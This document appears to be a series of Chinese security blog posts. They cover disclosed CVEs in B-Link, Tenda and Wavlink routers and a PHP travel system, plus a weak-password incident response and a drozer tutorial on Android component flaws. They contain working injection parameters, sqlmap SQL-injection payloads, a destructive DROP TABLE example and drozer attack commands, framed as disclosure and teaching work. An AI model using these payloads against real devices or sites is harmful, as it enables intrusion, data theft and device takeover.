B-Link X26路由器Web服务风险挖掘
0.前言 在对B-Link X26 V1.2.8 路由器固件进行安全审计时,发现其在处理特定输入的过程中存在命令注入溢出漏洞。 该漏洞的成因在于程序未对用户传入的数据进行严格的合法性校验,直接拼接进入系统命令,攻击者可以借此注入并执行任意代码。这种情况不仅可能导致设备运行异常,还可能在某些条件下使攻击者获得对路由器的完全控制。 通过验证与复测确认,该漏洞风险等级较高,利用门槛低,极易被远程攻击者滥用,对设备本身以及所处网络的安全性构成严重威胁。 目前,我已将漏洞细节、复现过程与修复建议整理成完整报告,并通过官方渠道提交给厂商及 CVE 分配机构。 该漏洞已被收录,编号为 https://www.cve.org/CVERecord?id=CVE-2025-9580。 1.漏洞概述 B-Link X26路由器 V1.2.8版本存在命令执行漏洞,触发该漏洞需要进行一次授权,当攻击者获取授权之后可以通过发送恶意的HTTP POST请求即可触发该漏洞。 2.漏洞详情 https://www.b-link.net.cn/product_29_174.html官网下载完固件之后,使用binwalk进行解包。 这个固件解包出来后,比起之前其他我挖过其他消费级路由器也有很大不同。 首先它没有httpd文件,解包后习惯性地在 bin/ 或 sbin/ 目录中寻找 httpd 可执行文件,因为在大多数消费级或企业级路由器中,Web 管理界面往往依赖 httpd 作为核心服务。但在 B-Link X26 的固件中并没有找到 httpd,这使得常规思路无法直接套用。 接下来尝试在 Web 资源目录下寻找脚本文件,一般来说企业级路由器会包含大量 .php 脚本,比如 DCME-720 ,消费级路由器则可能依赖 .cgi 文件来处理。 后台逻辑,但是在 B-Link X26 中,.cgi 文件数量极少,仅发现了与上传相关的 upload.cgi。这与以往分析的 DCME、Wavlink 固件有明显不同:后者解包后能看到一整套配置、认证、状态查询相关的脚本,而在 X26 上,脚本层几乎不存在。 既然缺少传统的 httpd,.cgi 文件也很少,说明该固件的 Web 服务逻辑并未像常见路由器那样拆分到大量脚本中,那么剩下的可能性,要么Web 服务被嵌入在某个非典型命名的二进制中,或者是路由器采用了轻量级嵌入式 Web 服务器。 带着这个假设,再次对 bin/ 目录进行排查,可以发现一个名为 goahead 的可执行文件。 通过字符串检索与反汇编分析,可以在 goahead 中发现大量 Web 服务相关的函数调用,比如 websGetVar、HTTP 请求处理逻辑,并且能定位到 system()、popen() 等命令执行函数。 所以说B-Link X26 的 Web 管理界面核心逻辑全部集成在 goahead 内部,而不是依赖外部的 .cgi 或 .php 文件。 回到正题,当请求路径为set_hidessid_cfg时候会进入sub_44F9F4函数的处理逻辑。 可以看到,这里从 HTTP 请求里取出参数 type 和 enable,a1 通常是 webs_t 结构(goahead 的请求上下文),websGetVar 用来提取请求参数。 如果没取到,返回默认值 "" 然后又通过创建json对象的格式将参数打包成json对象传入到了bs_SetSSIDHide函数中,从名字可以看出来这是修改隐藏 SSID的配置的函数。 {  "type":   "<用户输入的type参数>",  "enable": "<用户输入的enable参数>" } 那么这里就会有一些问题,type和enable完全是由用户输入的。 没有过滤,type 和 enable 原样地放进 JSON。 关键在于 bs_SetSSIDHide 的实现,如果说它内部调用了 system()/popen() 来修改无线配置,比如说执行 iwpriv、uci set 等命令,就可能引发命令注入。 但是如果只是直接操作配置文件/内存结构,则风险较小。 所以接着看 bs_SetSSIDHide 函数,但是这里有个问题,就是它是个外部函数,无法在gohead里面直接找到,这说明该函数并不在当前二进制中实现,而是来自外部库。 所以为了找到其具体的实现逻辑,首先检查了 goahead 的动态依赖库。 readelf -d goahead | grep NEEDED 该命令用于列出 goahead 这个程序运行时所必需的所有动态链接库,共享库文件。 查出了 goahead 运行时依赖的动态库,包括:libc.so.0,libnvrm.so.0,libshare.so.0之类。 既然 bs_SetSSIDHide 在 goahead 内部没定义,那么它必然来自这些依赖库之一。 根据经验,libshare.so.0 这个命名,share → 常常封装设备配置、WLAN、系统参数等接口,就可以合理怀疑这个函数实现藏在里面。 我们也可以验证一下猜测 nm -D libshare.so.0 | grep bs_SetSSIDHide 该命令用于检查名为 bs_SetSSIDHide 的函数是否存在于共享库 libshare.so.0 的动态符号表中,从而确认该函数是否可以被其他程序调用。 0002b7f4是函数 bs_SetSSIDHide 在 libshare.so.0 里的偏移地址,如果库被加载到内存,这个地址会加上库的基址,得到函数的真实运行时地址。 T表示该符号在 Text 段,也就是代码段中被定义,说明它是一个函数。字母 T 是大写的,这表示它是一个全局符号,意味着这个函数可以被链接到这个库的其他程序或库文件调用。如果是小写的 t,则表示它是一个内部函数,只能在库内部使用。 如果是 U,就表示 undefined,也就是未定义,只是引用。 bs_SetSSIDHide,就是符号名,也就是函数的名字,这说明 bs_SetSSIDHide 真正的实现就在 libshare.so.0 里。 这张图的输出证明了 bs_SetSSIDHide 在 libshare.so.0 中确实有定义(函数实现),地址偏移是 0x2b7f4,因此在 goahead 里调用的就是这个库函数。 所以按理来说我们应该去逆向分析libshare.so.0 但是由于其中 libshare.so.0 属于 共享对象名,其作用是给运行时动态链接器提供一个稳定的接口名称。 而 libshare-0.0.26.so 才是库的真实实现文件。通常情况下,libshare.so.0 会通过符号链接指向 libshare-0.0.26.so 所以直接处理 libshare-0.0.26.so就好,因为它包含了完整的符号信息与函数实现。 可以发现bs_SetSSIDHide将传入的两个json格式的对象进行了取值,并且接下来存在一个判断,对type取值为sethide2绕过这个if分支。 这里会发现对v20进行了命令执行,而v20是通过v7拼接而来的,而v7往上翻就是取到的值enable,也就是一开始传入的值。 那么这里就存在一个libc函数相关的命令执行。 3.漏洞验证 淘了一台真机,直接省事,懒得去仿真了(其实是仿真不起来....),真机才是硬道理! 然后去访问3.txt文件就会发现已经注入成功了。
应急响应:某网站被挂非法链接
事件概况 最近应急,遇到一起官网非法链接事件。如下图所示,使用百度搜索引擎语法site:www.网站域名 搜索某关键字,会出现一堆结果。并且只有百度搜索引擎可以搜索出来,其他的都没有记录。 挨个点开,都是404,最近的一条是8.15的。 到现场后,先建议工作人员分批进行用户反馈,期望百度能够尽快删除搜索结果,将负面影响降低到最小,之后着手应急。 既然是挂链接,又是404,说明在百度爬虫收录之后,链接原文已经被删除。作案者相当谨慎,估计是下次接到活儿还想如法炮制。现场资产情况是: Windows Server 2016 IIS 10 Microsoft Sql Server 2008 WAF 排查角度有两个,一是服务器被入侵了,这是最糟糕的结果,二是网站本身存在漏洞,作案者直接操作网站后台发的文。 上机排查 登录服务器,看到桌面还算整洁,与运维人员核实,安装的软件也都正常。查看服务器上仅有的安全防护措施——卡巴斯基,未发现活动威胁,情况还算可以。 翻看卡巴斯基防护日志,并没有异常行为告警,只有一条漏洞利用防御的记录,还是告警的D盾。 将D盾拿上服务器,逐一翻看一遍,并没有发现异常,IIS模块都是正常运行。 排查到这里基本可以排除服务器被入侵的可能了。然后,有效的安全设备仅有一台WAF,登录上去看看与该网站相关的日志。 看到很多发文异常的告警,但仅仅是告警,没有阻断,估计是不允许影响业务。 从这条告警来猜测,网站有可能存在编辑器漏洞,kindeditor。但也就这些告警,没有参考价值,因为响应结果记录为空。 既然没有入侵服务器,没有植入马儿,那就还是通过网站操作来发布的文章。所以下面的排查思路是跟踪文章的发布和删除时间,以及发布者账号、登录IP等等。 联系软件开发公司的人,询问文章删除逻辑: 顿时感觉这套系统开发的好随意,文章说删就删了,真的删了,没有给追踪溯源留下一丝余地。接下来怎么办?看看web日志吧。 web日志 web日志分为两种,一种以ex开头,记录的是爬虫行为,文件普遍偏小,另一种以nc开头,记录的是网站的访问日志,文件普遍偏大。 根据“Baiduspider”关键字搜索百度爬虫的时间。 302太多,只需要200的,并且加上大概的时间范围: 记录还是太多。询问开发人员有没有url白名单,不出所料,回复依然是“不知道”。如此一来,从百度收录时间入手排查的思路就断了。然后怎么办?看看访问日志吧,根据访问数量筛选一下。 果然,有一个IP的访问数量特别多,针对这个IP筛选一下。 访问时间大多在凌晨一两点,且url多数和kindeditor有关,着实可疑。然后根据这个IP查一下登录账号: 只有寥寥几条,应该是只供页面展示用,而且不支持下一页查询。既然开发不给力,那就只有自己登录数据库查询了。 Database 登录之后翻看表空间,首先看到一张User表,本能地打开。看到loginPwd列,自然是存储的密码,不过,再仔细瞧瞧这些记录,16位的MD5啊! 继续翻看发现,怎么有几个相同的MD5值?难不成是初始密码还没改。 把这几个相同的MD5拿出来解密一下: 解出来了,又是一个MD5,再次解密: 出来了,弱口令,111。用户密码的加密规则是两次MD5处理。以这个密码为查询条件筛选一下用户,好家伙,总共6个人都是用的这个密码。 在其中随便找个账号查询其近两个月的登录记录: 果然,8.11登录过,而且是外省地址。回看百度爬虫收录时间是8.15,从发文到被爬取用了4天时间,符合爬虫效率。 之后再去除源地址转换、出口IP地址、IPv6地址,筛选所有弱口令账号近三月的登录日志,共53条。 经分析发现其中一个账号存在多地点多IP登录的情况,且登录IP中有多个为恶意IP,下图是其一。 用其账号登录网站后台管理系统,瞬间一目了然: 账号权限包括发布文章、修改文章、删除文章......一应俱全。 总结两点 说一千道一万的是弱口令,屡禁不止的是弱口令,明知故犯的还是弱口令。 应急是个综合性很强的活儿,有时候不需要多么高超的技术,像这次,我就当了一把系统运维和数据库运维。
Tenda AC20路由器缓冲区溢出漏洞分析
1.前言 七月底,在对 Tenda AC20 路由器 进行安全分析时,发现其固件在处理特定输入时存在 缓冲区溢出漏洞。 该漏洞源于程序在拷贝用户输入时缺乏有效的边界检查,攻击者可以通过构造恶意请求触发溢出,从而导致系统崩溃,甚至在某些场景下获得更高权限,进而完全控制设备。 经过多次验证与测试,确认该漏洞风险较高,对设备的安全性影响严重。 我整理了一份详细的技术报告,内容包括漏洞成因、复现方法及修复建议,并通过正规渠道提交给厂商及 CVE 分配机构。 近日,该漏洞已被正式收录,编号为 https://nvd.nist.gov/vuln/detail/CVE-2025-8939 。 2.漏洞概述 Tenda AC20 路由器被发现存在缓冲区溢出漏洞。攻击者可以通过向某些路径发送特制的 HTTP POST 请求来触发此漏洞,从而可能导致拒绝服务 (DoS) 攻击,甚至远程代码执行 (RCE)。 3.漏洞细节 AC20 路由器的最新固件可从腾达官网下载:AC20 升级软件 - https://www.tenda.com.cn/ 固件可以使用以下在线工具解压:https://zhiwanyuzhou.com/multiple_analyse/firmware/ 或者直接使用binwalk解包也是可以的,获得以下文件: 我们要找到/squashfs-root/bin/httpd 二进制文件。 因为httpd就是Tenda 路由器的 Web 管理后台进程,大部分家用路由器,包括 Tenda都提供一个 Web 管理界面,这个界面其实就是由路由器内部的一个小型 Web 服务器httpd提供的。 当用户在浏览器里访问路由器后台时,请求会被发送到路由器本地运行的 httpd 服务,这个二进制文件负责接收、解析 HTTP 请求,比如说登录、修改 Wi-Fi 密码、固件升级等,然后调用底层的系统函数或配置接口。 由于 httpd 要解析用户提交的数据,如果代码没有做好边界检查,就可能导致缓冲区溢出、命令注入等问题,这也是为什么路由器的很多漏洞,很常见的溢出、注入、未授权访问都集中在 httpd 这个二进制文件里。 解包文件里面还有dhttpd二进制文件,它与httpd最大的不同就在于httpd是Tenda 的主后台 Web 管理进程,就是能够对用户可见的路由器后台,而dhttpd则会用来跑一些非核心但需要 Web 接口的功能,像什么诊断、子模块或者是其他特定功能。 在Tenda AC 系列里,Web 管理界面并没有用第三方服务器,比如lighttpd,或者是boa之类的,而是厂商自己写的 httpd 二进制文件。 那么,所有 HTTP 请求直接由这个 httpd 处理,路由器后台的逻辑,像什么 Wi-Fi 配置、系统管理之类的也都在里面实现,所以漏洞就会出现在 httpd 本身。 换句话说,Tenda 的 httpd 本身就是 Web 服务 + 业务逻辑的二合一。 回到正题,我们在httpd文件中发现函数fromSetWifiGusetBasic有缓冲区溢出的风险。 可以看到这里的函数fromSetWifiGusetBasic,该函数会获取shareSpeed的值,然后将其复制到Var数组中,且没有进行长度检查,从而导致缓冲区溢出漏洞。 交叉引用后再往上翻就会发现它其实是有个前提条件的,那就是请求路径必须是WifiGuestSet。 这行代码的作用,是把 WifiGuestSet 这个字符串与具体的处理函数 fromSetWifiGuestBasic 绑定在一起。换句话说,只要有请求命中 WifiGuestSet,设备就会调用对应的函数去执行。 所以我们Poc的请求路径就应该是POST /goform/WifiGusetSet HTTP/1.1 。 路径前加 /goform/ 是 Tenda 固件的惯用套路,结合代码逻辑,基本可以确认。 4.漏洞验证 确定漏洞点之后,我们先把固件跑起来,模拟一个真实运行环境,更好让我们观察是否因为栈溢出而产生崩溃页面 找到 /bin/httpd 文件。要模拟环境,使用以下命令: sudo chroot ./ ./qemu-mipsel-static ./bin/httpd 等一会之后,直接上浏览器输入对应IP地址 192.168.102.145,就可以进入到AC20路由器页面。 跑起来之后,我们使用burpsuite进行一个发包测试,发送一堆垃圾数据到sharedSpeed。 可以发现192.168.102.145/main.html出现了崩溃信息。 而从终端也观察到分段错误,确认发生了栈溢出,也就是shareSpeed这里存在一个缓冲区错误。
某路由器二进制漏洞挖掘过程
1.前言 半个月前,我在对Wavlink品牌WL-NU516U1型号路由器进行安全测试时,发现其管理界面存在一处命令注入漏洞。 该漏洞源于系统对用户输入过滤不严,攻击者可通过特制的HTTP请求在设备中执行任意系统命令,从而完全控制设备。 经过深入分析与验证,确认该漏洞具有高危害性,可导致设备被完全接管。 我写了详细的技术报告,包括漏洞成因、利用方式和修复建议,并通过正规渠道向Wavlink厂商及CVE机构提交。 近日,该漏洞已正式获得CVE编号CVE-2025-9149。 https://www.wavlink.com/en_us/index.html2.漏洞概述 Wavlink是一家专注于网络设备和通信解决方案的公司,提供优质的路由器、扩展器和网络配件。其下的WAVLINK-NU516U1型号的固件,功能用于提供打印机服务器网卡,其管理后台存在命令注入漏洞,允许攻击者完成os命令执行。 固件下载地址: https://docs.wavlink.xyz/Firmware/fm-516u1/ 3.漏洞详情 对固件binwalk -Me [固件位置] 解包 binwalk -Me WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin 获得其解包文件,而我们要找到/squashfs-root/etc/lighttpd/www/cgi-bin中的wireless.cgi二进制文件, 它的位置在 cgi-bin目录下,它是Lighttpd Web服务器的一个后端CGI程序。 当用户通过浏览器访问路由器的管理界面,比如说随便点击“无线设置”页面提交表单时,Lighttpd Web服务器会接收到这个HTTP请求。 Web服务器根据请求的URL,判断需要由哪个CGI程序来处理,对于无线设置相关的请求,它就会找到并执行这个 wireless.cgi文件。 wireless.cgi程序开始运行,它解析HTTP请求中的数据,比如你提交的表单项,然后可能会调用其他系统工具,如内置的 iwconfig、wpa_supplicant,或者直接读写配置文件, /etc/config/wireless来执行具体的无线网络配置更改。 处理完毕后,wireless.cgi会生成一个HTTP响应,比如一个成功响应的HTML页面,并将其输出到标准输出。 Web服务器捕获到这个输出,并将其打包成完整的HTTP响应,发送回给用户的浏览器。 与用户浏览器直接进行网络通信的是 Lighttpd Web服务器。 wireless.cgi是一个被Web服务器调用的后台程序,负责处理具体的业务逻辑。它是间接与外界通信的关键环节。 所以,这个wireless.cgi虽不直接与外界进行通信,但是它却负责处理用户从外部输入的数据,比如说HTTP请求参数,如果它对这些输入的处理不当,例如没有经过严格过滤就直接拼接成系统命令,就非常容易产生命令注入、缓冲区溢出等漏洞。 找到之后,拿IDA打开,观察其函数,先看main函数,首先用了fgets函数获取标准输入,拿到了用户提交的page参数值。 sub_405EA8函数将page参数值设置为GuestWifi,会跳转进入sub_4032E4函数。 sub_4032E4函数内,获取了Guest_ssid参数值,该值可以post传参可控,而且这段代码是典型的“功能开关”设计,程序在处理HTTP请求参数时,会依次读取多个配置值。 从参数名可以推断,guestEn代表 “Guest Enable”,即访客网络功能的总开关,代码首先获取这个开关的值 (v2 = sub_405EA8("guestEn", a1,0));,并将其保存到变量 v4中,而Guest_ssid是依赖项,Guest_ssid是访客网络功能下的一个子配置项,它的逻辑处理必然依赖于总开关 guestEn是否开启。 随后Guest_ssid参数值被传入sub_407504函数内。 而往上看会发现,必须v4为1,才会去执行sub_407504函数,否则就会跳到label_11的地方去,而v4在往上看则能够发现是字符串guestEn的值。 所以构造poc的时候,必须将guestEn设置为1 而在sub_407504函数中,在其中拼接给v8变量,交给system函数执行,产生了命令注入。 所以我们只需要构造page=GuestWifi&guestEn=1&Guest_ssid=1.txt就可以产生命令注入漏洞。 4.漏洞验证 首先使用工具将Wavlink模拟起来,这里选择了FrimAE sudo ./run.sh -r Wavlink /home/fuzz/Wavlink/WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin 检查名为"httpd"的进程是否正在运行 设备正在运行 lighttpd Web服务器,其配置文件位于 /etc/lighttpd/lighttpd.conf 在浏览器打开F12,观察其Cookie,好帮助我们接下来发包的时候顺利。 接下来进行一个发包测试,将数值写入到poc.txt文件中,观察Wavlink路由器文件是否会出现poc.txt,且里面是否有我们注入的内容。 可以发现已经成功注入进去了,证明这里确实存在命令注入漏洞。
在线旅游及旅行管理系统项目SQL注入
1.前言 之前在网上随便逛逛的时候,发现一个有各种各样的PHP项目的管理系统,随便点进一个查看,发现还把mysql版本都写出来了,而且还是PHP语言。 https://itsourcecode.com/free-projects/php-project/online-tours-and-travels-management-system-project-in-php-and-mysql/那这可能存在sql注入漏洞,所以代码审计了一下,并上报了CVE,现在编号下来了 CVE-2025-9008,CVE-2025-8993,于是公开发现过程。 2.漏洞详情 1.1 CVE-2025-9008 下载其源代码之后,对“在线旅游及差旅管理系统”进行安全审查期间,发现“/admin/sms_setting.php””文件中存在一个高危SQL注入漏洞。 $sql = "UPDATE sms_setting SET uname='".$_POST['uname']."',    password='".$_POST['password']."',    sender_id='".$_POST['sender_id']."'       WHERE id='1'"; 这段sql代码一眼望过去就是,直接将用户通过 $_POST超全局数组提交的数据,未经任何过滤和转义,就拼接到了 SQL 查询字符串中,那这肯定就存在sql注入漏洞。 因为sql 注入的核心在于“混淆了代码和数据”,用户的输入本应被视为普通数据,但由于直接拼接,攻击者可以精心构造输入,让其成为 sql代码的一部分,从而篡改原SQL语句的意图。 比如说在密码 password 输入框中,攻击者输入了:' OR '1'='1 那么,最终拼接出来的 SQL 语句会变成: UPDATE sms_setting SET uname='hacker',  password='' OR '1'='1', sender_id='fake_sender' WHERE id='1' 这条语句的含义被彻底改变了。password字段的赋值不再是一个简单的字符串,而是变成了一个逻辑判断 '' OR '1'='1'。这个判断的结果是 永远为真。 更高级的攻击者甚至可以输入类似 '; DROP TABLE users; --的内容,从而执行任意sql命令,比如说删除数据库表,导出数据库数据之类的操作。 payload --- Parameter: uname (POST)   Type: boolean-based blind   Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause   Payload: uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ&password=111111111111111111&sender_id=1111111111111111111&update=   Type: error-based   Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)   Payload: uname=111111111111' AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7178627171,(SELECT (ELT(9139=9139,1))),0x716a787171)) AND 'CAQx'='CAQx&password=111111111111111111&sender_id=1111111111111111111&update= --- 我们也可以使用一些工具来进行查看,比如说sqlmap。 sqlmap -u "http:/http://127.0.0.1/code/admin/sms_setting.php" --data="uname" --batch --dbs 通过 HTTP POST 请求 提交的、名为 uname的表单字段,选择了布尔盲注的攻击类型。 布尔盲注这是一种高级注入技术,用于当网站不会直接显示数据库错误信息,并且查询结果也不会直接返回到页面上的情况。攻击者通过向数据库发送一个“问题”,然后根据页面返回的细微差异,一般来说都是通过观察页面是否可以正常加载来判断。 而图中的payload uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ 111111111111:这是一个随机的无效用户名,目的是让原查询的uname匹配不到结果。 RLIKE: 这是MySQL的正则表达式匹配操作符,一般用它来触发一个条件判断。 (CASE WHEN (2321=2321) THEN ... ELSE ... END): 这是一个SQL的CASE条件语句。这里它判断一个永恒成立的条件 2321=2321 如果条件为 True,那么整个RLIKE语句会匹配用户名111111111111,页面可能会返回一个找不到用户名存在的状态。 如果条件为 False,比如说什么1=2之类的常见语句,那么CASE语句会返回一个错误的结果,导致RLIKE匹配失败,页面可能会返回一个完全空白的状态。 把2321=2321换成 (SELECT COUNT(*) FROM information_schema.schemata) > 5),观察页面的反应,盲猜出数据库名称出来。 所以明确了这里存在sql注入漏洞。 1.2 CVE-2025-8993 接着,在“/admin/expense_report.php”文件中又发现了一个严重的SQL注入漏洞。该漏洞源于对“from_date”参数的用户输入验证不足,使得攻击者能够注入恶意SQL查询。因此,攻击者可以未经授权访问数据库,修改或删除数据,并获取敏感信息。 这段代码的核心逻辑其实就是,首先检查用户是否点击了提交按钮if (isset($_POST['submit'])),然后就去获取用户表单中输入的起始日期$from_date和结束日期$to_date,连接数据库之后用一条 sql 语句,查询 expense表中所有在用户指定日期范围内创建的记录。 而且还用了PDO,PDO最重要的就是预处理语句,从根本上防御sql注入,但是又没使用好。 它将 sql 语句的结构 和 数据 分开发送给数据库服务器处理。 比如说先把一个带“占位符”的 sql 模板发送给数据库,数据库会解析并编译这个模板,确定它的结构。 $stmt = $pdo->prepare("SELECT * FROM users WHERE name = ? AND pwd = ?"); 然后当执行阶段的时候,再把真实的数据,比如说什么用户输入的用户名和密码,发送给数据库,数据库只会把这些数据当正常数据值使用,不会把它当成 SQL 代码来解析。 这样就避免了,即使用户输入了恶意的数据比如说什么常见的 ' OR '1'='1,它也只会被当作一个普通的字符串字面值去进行匹配,而不会改变原sql语句的逻辑。从而彻底杜绝了 SQL 注入。 但是这条sql语句虽然也使用了PDO,但是它把用户要输入的from_date的值给它拼接到sql字符串了,代码和字符串直接拼接,完全绕过了PDO的安全保护,让PDO形同虚设。 $stmt = $conn->prepare("SELECT * FROM expense where created_date between '".$_POST['from_date']."' and '".$_POST['to_date']."' "); $_POST['from_date'] 和 $_POST['to_date'] 没有任何过滤/转义,直接拼接到了 SQL 中。 攻击者只要在表单输入里构造恶意 payload,就能注入 sql。 虽然用了 PDO,但没有真正用到参数化查询。 $conn->prepare(...) 本身可以防止注入,但是这里不知道怎么回事,开发者依然把变量拼接到了 sql 里,相当于没起作用。 所以漏洞源于“from_date”参数的用户输入验证不足,导致攻击者能够注入恶意sql查询。 payload --- Parameter: from_date (POST)   Type: error-based   Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)   Payload: from_date=0111-11-11' AND GTID_SUBSET(CONCAT(0x71716a6271,(SELECT (ELT(8748=8748,1))),0x7162707071),8748)-- OwaD&to_date=0001-01-11&submit=   Type: time-based blind   Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)   Payload: from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vyOX&to_date=0001-01-11&submit= --- 用sqlmap进行检测 sqlmap -u "http:/http://127.0.0.1/code/admin/expense_report.php" --data="from_date" --batch --dbs sqlmap 识别到 POST 参数 from_date 存在注入漏洞。 测试了多种方式,包括 基于报错注入 和 基于时间的盲注 ,都确认有效。 所谓的错误型注入,简单点说就是通过故意触发数据库错误,从而让数据库在报错信息中直接返回查询结果。 还有时间盲注 ,字面意思也就是通过让数据库执行延时函数,比如说什么 SLEEP(5),然后根据页面响应时间来判断注入的sql是否有效。 from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vy0X&... 如果注入成功,数据库将会执行 SLEEP(5)命令,导致页面响应时间延迟5秒。sqlmap就会根据这个延迟就能判断出漏洞存在。 而且sqlmap 成功获取了数据库名:information_schema,这是系统库,每个cms都会有的。 tour1,这个才是该cms特有的数据库名称。 所以明确了POST参数的from_date存在注入漏洞。 3.建议修复 使用准备好的语句和参数绑定:准备好的语句可以防止 SQL 注入,因为它们将 SQL 代码与用户输入数据分离。使用准备好的语句时,用户输入的值将被视为纯数据,不会被解释为 SQL 代码。 输入验证和过滤:严格验证和过滤用户输入数据,确保其符合预期的格式。 最小化数据库用户权限:确保用于连接数据库的账户具有必要的最低权限。避免使用具有高级权限的账户,比如“root”或“admin”进行日常操作。 定期安全审计:定期进行代码和系统安全审计,及时发现并修复潜在的安全漏洞。
Android四大组件安全漏洞实战
Android 四大组件Activity、Service、Broadcast Receiver和Content Provider是应用程序的核心组成部分,但如果实现不当,会引入严重的安全漏洞。本文将详细分析各组件常见的安全漏洞,通过漏洞代码逻辑基于 drozer 的利用方式,能够更清楚的了解具体漏洞的原理以及利用方法。 具体droze的下载和安装不详细介绍,可以自行百度,安装完成后先在android端运行drozer agent,点击开启。 在电脑端通过adb实现端口转发,并成功启动drozer adb forward tcp:31415 tcp:31415 drozer console connect 通过app.package.list的filter参数过滤alan关键词的包名称 run app.package.list --filter alan 查询该app的包信息 run app.package.info -a com.asec.alan 利用app.package.attacksurface可以查询该APP的攻击面,即漏洞的点和数量。 run app.package.attacksurface com.asec.alan 完成上述的操作后,即可对相关的漏洞进行检测分析了,接下来针对具体的组件和漏洞进行测试操作。 一、Activity Activity 作为 Android 的界面组件,负责与用户交互,其安全问题直接影响用户数据安全。 1、未授权访问漏洞 需要登录权限的 Activity 未做严格校验,导致恶意应用可直接通过 Intent 启动。 通过以下drozer命令可以查看当前app的所有activity,并确认无权限限制 run app.activity.info -a com.asec.alan 对于这些activity的执行逻辑属于 LoginActivity登录->MainActivity->InfoQueryActivity LoginActivity登录->MainActivity->FileQueryActivity 1)漏洞代码 以下为具体的代码,以LoginActivity登录->MainActivity->InfoQueryActivity场景为例,可以看到首先LoginActivity以硬编码的形式进行用户密码的判断,并使用SharePreference进行了登录态的存储 当用户密码登录成功后即可跳转MainActivity,MainActivity对登录态简单做了校验,确认其中的is_logged_in的值存在即可加载。 通过MainActivity跳转到InfoQueryActivity直接进行点击事件的监听跳转 该acitivity直接加载,未进行登录态的校验 通过上述APP代码的分析,可以判断出MainActivity的加载做了简单的登录态校验,但是如果已经登录过,且登录态写入到user_prefs.xml中后,只要不进行删除即可直接通过命令加载成功实现绕过;InfoQueryActivity的加载并未做任何校验,可以尝试直接进行加载。 2)漏洞利用 MainActivity加载: 基于上述代码逻辑的分析,接下来通过drozer命令进行利用测试,如果已经登录过APP,则在该程序目录会生成user_prefs.xml文件,里面会写入"is_logged_in"的值为true MainActivity的加载可直接通过drozer命令加载 run app.activity.start --component com.asec.alan com.asec.alan.MainActivity 执行后成功记载MainActivity 删除user_prefs.xml文件,再利用drozer命令尝试加载MainActivity则失败 InfoQueryActivity加载: InfoQueryActivity则通过app.activity.start命令直接加载即可。 run app.activity.start --component com.asec.alan com.asec.alan.InfoQueryActivity 3)修复建议 二、Service Service 用于后台处理任务,若存在漏洞可能导致敏感操作被恶意调用。 新建一个用于漏洞测试的service,并写入一些漏洞的逻辑 service组件运行导出 通过drozer命令可以查询支持导出的service组件信息,支持导出则可能存在对应的漏洞。 run app.service.info -a com.asec.alan 1、任意文件写入漏洞 在 Android Service 场景中,当服务接收外部传入的文件路径参数并直接用于文件写入操作时,覆盖应用自身关键文件(配置文件、数据库等),导致应用的使用或者安全风险问题。 1)漏洞代码 当 Service 处理"com.asec.alan.ACTION_WRITE_FILE"动作时,会从 Intent 中直接读取filePath参数及需要写入的内容,并通过writeToFile()方法写入内容。但是writeToFile()直接使用传入的filePath创建File对象,未检查路径是否限制在应用私有目录 2)漏洞利用 通过drozer命令向/data/data/com.asec.alan/写入drozer_test.txt文件,文件内容为Test from drozer run app.service.start --action com.asec.alan.ACTION_WRITE_FILE --component com.asec.alan com.asec.alan.VulnerableService --extra string file_path "/data/data/com.asec.alan/drozer_test.txt" --extra string content "Test from drozer" 利用adb shell连接android系统,切换为root权限后查看drozer_test.txt的存在和内容 adb shell su ls /data/data/com.asec.alan/drozer_test.txt cat /data/data/com.asec.alan/drozer_test.txt 2、敏感信息泄露漏洞 敏感信息泄露指应用在运行过程中,将不应公开的敏感数据(如密码、密钥、令牌等)以明文形式存储、传输或输出,导致未授权主体可获取这些信息。 1)漏洞代码 当 Service 处理"com.asec.alan.ACTION_GET_SECRET"动作时,getSensitiveInformation()方法会返回包含数据库密码、API 密钥等核心敏感数据,并通过Log.d()输出到系统日志 2)漏洞利用 利用drozer命令启动com.asec.alan com.asec.alan.VulnerableService服务 run app.service.start --action com.asec.alan.ACTION_GET_SECRET --component com.asec.alan com.asec.alan.VulnerableService 通过adb的logcat查看对应的日志,成功打印出对饮的敏感数据。 adb logcat VulnerableService:D *:S 三、Broadcast Receiver Broadcast Receiver 用于接收系统或应用间的广播,若实现不当会导致信息泄露或恶意调用。 1、伪造恶意广播漏洞 Receiver 未验证广播发送者身份,恶意应用可伪造广播触发敏感操作。 1)漏洞代码 该接收器未对广播发送者的身份进行任何验证,任何应用都可以发送com.asec.alan.ACTION_SENSITIVE_OPERATION动作的广播来触发其逻辑。并通过performSensitiveOperation方法执行敏感操作,测试使用Toast在界面弹窗展示,但整个调用链都没有权限检查机制。 2)漏洞利用 利用drozer伪造恶意广播并触发该接收器 run app.broadcast.send --action com.asec.alan.ACTION_SENSITIVE_OPERATION --component com.asec.alan com.asec.alan.VulnerableReceiver --extra string operation "test" --extra string data "test" 通过界面可以查看到对应的广播信息 四、Content Provider Content Provider 用于数据共享,是最容易出现安全问题的组件,常见漏洞包括信息泄露、SQL 注入和目录遍历。 1、信息泄露漏洞 Content Provider 未限制访问权限,导致应用内敏感数据(如用户信息、数据库)可被任意读取。 1)漏洞代码: 通过该代码可以发现,未检查调用者是否有读取权限,可以直接调用sql进行数据的查询。 2)漏洞利用 利用drozer命令可以查看该APP的provider的信息 run app.provider.info -a com.asec.alan 利用app.provider.finduri可以查看所有的uri run app.provider.finduri com.asec.alan 通过drozer查询content://com.asec.alan.provider/该uri的数据 run app.provider.query content://com.asec.alan.provider/ 2、SQL 注入漏洞 Content Provider 在处理查询时直接拼接 SQL 语句,未使用参数化查询,导致 SQL 注入。 